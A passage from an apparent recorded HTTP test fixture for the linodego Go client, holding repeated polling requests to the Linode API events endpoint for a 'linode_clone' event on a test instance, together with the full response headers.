"/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 36.424932, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 36.589796, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 36.801546, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 37.127937, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 37.19115, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 37.261036, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 37.341935, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 37.406672, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 37.480354, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 37.549958, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 37.62002, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "562" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 37.690665, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 37.748606, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 37.815718, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 37.979012, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 38.048097, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 38.115261, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": 